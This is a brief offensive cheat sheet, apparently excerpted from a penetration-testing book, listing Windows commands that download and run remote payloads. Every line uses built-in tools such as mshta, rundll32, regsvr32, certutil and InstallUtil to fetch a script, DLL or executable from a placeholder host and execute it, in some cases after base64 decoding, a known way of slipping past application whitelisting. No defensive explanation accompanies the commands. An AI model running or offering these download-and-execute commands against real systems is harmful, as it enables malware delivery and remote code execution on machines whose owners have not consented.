WINDOWS DOWNLOAD

```
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

mshta http://webserver/payload.hta

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

certutil -urlcache -split -f http://webserver/payload payload

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll &
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```

Extrait de: Peter Kim. « The Hacker Playbook 3: Practical Guide To Penetration Testing. » iBooks.